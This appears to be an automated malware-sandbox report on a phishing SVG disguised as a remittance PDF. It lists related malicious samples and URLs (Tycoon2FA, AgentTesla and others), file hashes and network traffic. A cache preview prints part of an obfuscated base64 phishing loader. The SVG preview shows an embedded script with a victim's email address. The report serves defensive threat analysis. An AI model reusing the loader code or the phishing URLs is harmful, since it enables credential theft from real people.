	https://rpc-cryptolive.com	Get hash	malicious	Unknown	Browse	151.101.130.137
	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://enervit.freshdesk.com/en/support/solutions/articles/156000285380-prossimo-cambio-di-qualit%C3%A0	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	MT103__1825367420#U00e2__.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://sceanmcommnunmnlty.com/siute/apxpw/zpq	Get hash	malicious	Unknown	Browse	151.101.194.137
	http://email.mg.dior.com.sg/c/eJwUy0uOhCAQANDTwJLUBwpdsJiN9ygK6CZq7Dhmzj_pA7xWBKxq8r1gjsS4AoF_l8iAiWysYzGVPNZsFoEqqg1tMPwsBJSAccHMgByi1kXYgKXnLpFchPMV2rzuYNcZfl_-KO_n-Tj-cbQ52lRqNqw9dZVFmhgYpL6mHPTY5zM_1xc62vxddBwuwn620Hb_V-g_AAD__9XhM88&	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	FaxLine832699141Sharepoint_USIUIYLCJZ_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://us.sa/xPuEb	Get hash	malicious	Unknown	Browse	151.101.66.137
challenges.cloudflare.com	vRecording__118sec__Inwg00990__098.svg	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://eikosol.com/goto/https:/gamma.app/docs/Faber-nx9caa24p6tc1q6?mode=present#card-x3twj1va5159vpf	Get hash	malicious	Unknown	Browse	104.18.94.41
	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.18.95.41
	original (1).eml	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://solaxxy.click	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://jupp.ac	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.18.94.41
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.18.94.41
	https://enervit.freshdesk.com/en/support/solutions/articles/156000285380-prossimo-cambio-di-qualit%C3%A0	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.18.95.41
	https://pell-network.website	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
developers.cloudflare.com	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.3.189
	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://enervit.freshdesk.com/en/support/solutions/articles/156000285380-prossimo-cambio-di-qualit%C3%A0	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	MT103__1825367420#U00e2__.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	http://email.mg.dior.com.sg/c/eJwUy0uOhCAQANDTwJLUBwpdsJiN9ygK6CZq7Dhmzj_pA7xWBKxq8r1gjsS4AoF_l8iAiWysYzGVPNZsFoEqqg1tMPwsBJSAccHMgByi1kXYgKXnLpFchPMV2rzuYNcZfl_-KO_n-Tj-cbQ52lRqNqw9dZVFmhgYpL6mHPTY5zM_1xc62vxddBwuwn620Hb_V-g_AAD__9XhM88&	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	FaxLine832699141Sharepoint_USIUIYLCJZ_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.5.189
	ATT61918.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.16.5.189
	ATT61918.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	Munsch-Employee-Handbook.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.4.189
cdnjs.cloudflare.com	https://vardhadevelco.com/365confirmation.php	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.25.14
	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://opensea-nftpro5-eight.vercel.app	Get hash	malicious	Unknown	Browse	104.17.24.14
	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://enervit.freshdesk.com/en/support/solutions/articles/156000285380-prossimo-cambio-di-qualit%C3%A0	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://changelly.click	Get hash	malicious	Unknown	Browse	104.17.25.14
	MT103__1825367420#U00e2__.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://avax-sushi.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://aivptjn.top/hwujk	Get hash	malicious	Unknown	Browse	104.17.24.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Doc93847023000200009.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	CONFIDENTIAL_PAYMENT_CONFIRMATION_TRANSACTION_DETAILS_03224.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	ICSCertifikat153609921.exe	Get hash	malicious	FormBook	Browse	104.21.44.128
	Certifikat_153600814.exe	Get hash	malicious	FormBook	Browse	172.67.199.251
	https://viking-safe-lock.webflow.io/	Get hash	malicious	Unknown	Browse	104.18.160.117
	vRecording__118sec__Inwg00990__098.svg	Get hash	malicious	Unknown	Browse	104.21.90.236
	KTUlWpH5Dh.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.32.1
	SecuriteInfo.com.Win32.RATX-gen.23255.10701.exe	Get hash	malicious	DarkTortilla, LummaC Stealer	Browse	172.67.185.195
	REMITTANCE ADVICE Itsecurity.svg	Get hash	malicious	Unknown	Browse	172.67.179.211
	test.bat	Get hash	malicious	Unknown	Browse	172.67.181.225
CLOUDFLARENETUS	Doc93847023000200009.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	CONFIDENTIAL_PAYMENT_CONFIRMATION_TRANSACTION_DETAILS_03224.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	ICSCertifikat153609921.exe	Get hash	malicious	FormBook	Browse	104.21.44.128
	Certifikat_153600814.exe	Get hash	malicious	FormBook	Browse	172.67.199.251
	https://viking-safe-lock.webflow.io/	Get hash	malicious	Unknown	Browse	104.18.160.117
	vRecording__118sec__Inwg00990__098.svg	Get hash	malicious	Unknown	Browse	104.21.90.236
	KTUlWpH5Dh.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.32.1
	SecuriteInfo.com.Win32.RATX-gen.23255.10701.exe	Get hash	malicious	DarkTortilla, LummaC Stealer	Browse	172.67.185.195
	REMITTANCE ADVICE Itsecurity.svg	Get hash	malicious	Unknown	Browse	172.67.179.211
	test.bat	Get hash	malicious	Unknown	Browse	172.67.181.225
FASTLYUS	vRecording__118sec__Inwg00990__098.svg	Get hash	malicious	Unknown	Browse	151.101.129.229
	Final Contract document.html	Get hash	malicious	HTMLPhisher	Browse	199.232.196.193
	https://www.villanaxamena.com	Get hash	malicious	Unknown	Browse	185.199.109.153
	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	ImageG.exe.bin.exe	Get hash	malicious	NovaSentinel	Browse	185.199.111.133
	https://github.com/olivierfriard/BORIS/releases/download/v9.1.1/boris-9.1.1-win64-setup.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	ImageG.exe.bin.exe	Get hash	malicious	NovaSentinel	Browse	185.199.111.133
	https://rpc-cryptolive.com	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://opensea-nftpro5-eight.vercel.app	Get hash	malicious	Unknown	Browse	151.101.193.229
	https://multidappschain.vercel.app	Get hash	malicious	Unknown	Browse	151.101.129.229
CLOUDFLARENETUS	Doc93847023000200009.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	CONFIDENTIAL_PAYMENT_CONFIRMATION_TRANSACTION_DETAILS_03224.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	ICSCertifikat153609921.exe	Get hash	malicious	FormBook	Browse	104.21.44.128
	Certifikat_153600814.exe	Get hash	malicious	FormBook	Browse	172.67.199.251
	https://viking-safe-lock.webflow.io/	Get hash	malicious	Unknown	Browse	104.18.160.117
	vRecording__118sec__Inwg00990__098.svg	Get hash	malicious	Unknown	Browse	104.21.90.236
	KTUlWpH5Dh.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.32.1
	SecuriteInfo.com.Win32.RATX-gen.23255.10701.exe	Get hash	malicious	DarkTortilla, LummaC Stealer	Browse	172.67.185.195
	REMITTANCE ADVICE Itsecurity.svg	Get hash	malicious	Unknown	Browse	172.67.179.211
	test.bat	Get hash	malicious	Unknown	Browse	172.67.181.225

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	65536
Entropy (8bit):	5.291341878948596
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdx:DIh8GgP3hujzwbhdx
MD5:	6C4675CF3DF7F93BF4849E1D58E6C158
SHA1:	657014EB75249D31008B213FCD81130B7176D496
SHA-256:	9F567EC6BEA5A905D8A9F583B525A0E1866813F3B78B4B9F901F60F4EFB2378B
SHA-512:	31F0BDF3D65F5E491D5CE538C207472290BED40E9B6D9B2721193CE9D5A3B550E6DB73A91CCA00A837E2B383B8133A8393EB1C0F5D1F3416628159DFD1C33D9F
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 52

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33593), with no line terminators
Category:	downloaded
Size (bytes):	33593
Entropy (8bit):	5.35293724210004
Encrypted:	false
SSDEEP:	768:+CbPzHMb42QOna0rhgaqC2DdONTjwzsLSp:gb425na0rhgaqDnzsE
MD5:	C6D221C5EFB73B48506DDDE16534DA7E
SHA1:	E745B43F786815C23A7FBCF70135FDDD2EEC4029
SHA-256:	3A4F3E0F0DF789995EF471CC667AC5142347F1E93EEBA19243E69CE3DA63933C
SHA-512:	66F4A286ADEF2EB66C5F78972C11C8F6495B30CB506F337E82933FA0A65E35788443E7628CE94872050342802ECB1228BAA195DD9D1F71ABC1F87C5B23D75DC1
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){Ht(l,o,c,v,h,"next",s)}function h(s){Ht(l,o,c,v,h,"throw",s)}v(void 0)})}}function V(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):V(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Ve(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 53

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65364)
Category:	downloaded
Size (bytes):	198147
Entropy (8bit):	4.741864178065632
Encrypted:	false
SSDEEP:	1536:tpy5WSb8fcMs8oBM3wMnnAzgw17dKD1Cpy5WSb8fcMs8oBM3wMnnAzgw17dKD14a:ix8fcMs853znYwx8fcMs853znYzcH
MD5:	4DB20851D4642F5FD583B5878D3869B0
SHA1:	9ADFCA39DD43383B45901AB3EE35E2078887684C
SHA-256:	1F17B9005B7202759563F8CBD29AD5A47FAAB30A149C402CD62C876AACF2EBE6
SHA-512:	60E3B91FE90D9019FE404F069E953117F8607A56EA2CC385BE517453A9F4FD46CCCB0EB84B8BACEFEA850EB158BBD408D9DA72B0AAA31FC5FF8468B781C3B5C2
Malicious:	false
Reputation:	low
URL:	https://abdxo.qdhfwaes.es/JYVwg6/
Preview:	<script>.wKoshZnoZx = atob("aHR0cHM6Ly9CaU8ucWRoZndhZXMuZXMvSllWd2c2Lw==");.zZzVawUtZD = atob("bm9tYXRjaA==");.TxvbDnvnSC = atob("d3JpdGU=");.if(wKoshZnoZx == zZzVawUtZD){.document[TxvbDnvnSC](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPgogICAgPHNjcmlwdD4KICAgIGNvbnN0IGNURVNPTXR4b0UgPSB7CiAgZ2V0KFFoSkdUUGhvTXIsIHNweEV0UFRSa1gpIHsKICAgIGNvbnN0IFBYY0tuQkhaSlAgPSBbLi4uc3B4RXRQVFJrWF0KICAgICAgLm1hcChVZ2pTSU1XaGdSID0+ICsoJ+++oCcgPiBVZ2pTSU1XaGdSKSkKICAgICAgLmpvaW4oJycpOwogICAgY29uc3QgYnB1dENudWtXeSA9IFBYY0tuQkhaSlAucmVwbGFjZSgvLns4fS9nLCBEcHlpYWpOc1F

Static File Info

General

File type:	SVG Scalable Vector Graphics image
Entropy (8bit):	3.883290126543491
TrID:	Scalable Vector Graphics (18501/1) 78.71% Generic XML (ASCII) (5005/1) 21.29%
File name:	View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg
File size:	2'699 bytes
MD5:	41618a9a79500a02f2ce111361e2c5a0
SHA1:	e649faa25b0e522bb8498cf146f3e085aebeae23
SHA256:	47631be11d823ac5135803c5f95782c355bca742a5bc6038039ea6e526fae9b7
SHA512:	4716c9c1bc9253133dc3b51ce6d88dc44770a460ada52602f405b1dfcc3b4360ec4adfe7e0167891523934aaecaadede7d52b3b9bff200876281b2befc308f36
SSDEEP:	24:2dtkOoVqqA8yQAiNtziCGxjksOPfYLhGLEm7X4Dt9IM3vaxgxWUaGa+AbEMU:cklF/idjkPPfYFGAQ4D/IMSxeXs7U
TLSH:	EB510ADB62CC6F604AD0A05CF8AF73024D64DD73F57B584971840772C6940639F759AB
File Content Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>..<svg xmlns="http://www.w3.org/2000/svg" width="400" height="250">..<script>..<![CDATA[..GvCLRnfzmMmzhy = "#Mtomdrackett@mangrovelithium.com";..class XuIjlH { constructor({ AtYHfe, DtaMDh }) { this.At

File Icon


Icon Hash:	173149cccc490307

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 236
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 17:55:45.697678089 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:45.697726011 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:45.697803974 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:45.699193954 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:45.699209929 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:45.759455919 CET	49694	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:45.764318943 CET	53	49694	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:45.764406919 CET	49694	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:45.764509916 CET	49694	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:45.764523029 CET	49694	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:45.764560938 CET	49694	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:45.769216061 CET	53	49694	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:45.769227028 CET	53	49694	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:45.811856985 CET	53	49694	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:46.371030092 CET	53	49694	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:46.371125937 CET	49694	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:46.494699955 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:46.494772911 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:46.497414112 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:46.497423887 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:46.497725010 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:46.498212099 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:46.540327072 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.086195946 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.086260080 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.086298943 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.086325884 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.086329937 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.086357117 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.086402893 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.086704969 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.086760044 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.086767912 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.086925983 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.086978912 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.086987019 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.128690958 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.235825062 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.235888004 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.235924959 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.235960007 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.235989094 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.236042023 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.236331940 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.236423969 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.236444950 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.236572981 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.236582041 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.236671925 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.237257004 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.237302065 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.237328053 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.237358093 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.237370968 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.237385988 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.237394094 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.238152981 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.238183022 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.238219976 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.238236904 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.238245010 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.238260984 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.239125013 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.239168882 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.239226103 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.239233971 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.239284992 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.385895014 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.385986090 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.386096001 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.386118889 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.386148930 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.386176109 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.386214018 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.386214972 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.386225939 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.386277914 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.386286020 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.386322021 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.386359930 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.386379957 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.386389017 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.386428118 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.386939049 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.387000084 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.387026072 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.387070894 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.387079000 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.387089014 CET	443	49692	188.114.96.3	192.168.2.16
Mar 19, 2025 17:55:47.387115955 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.387140989 CET	49692	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:55:47.387861013 CET	443	49692	188.114.96.3	192.168.2.16
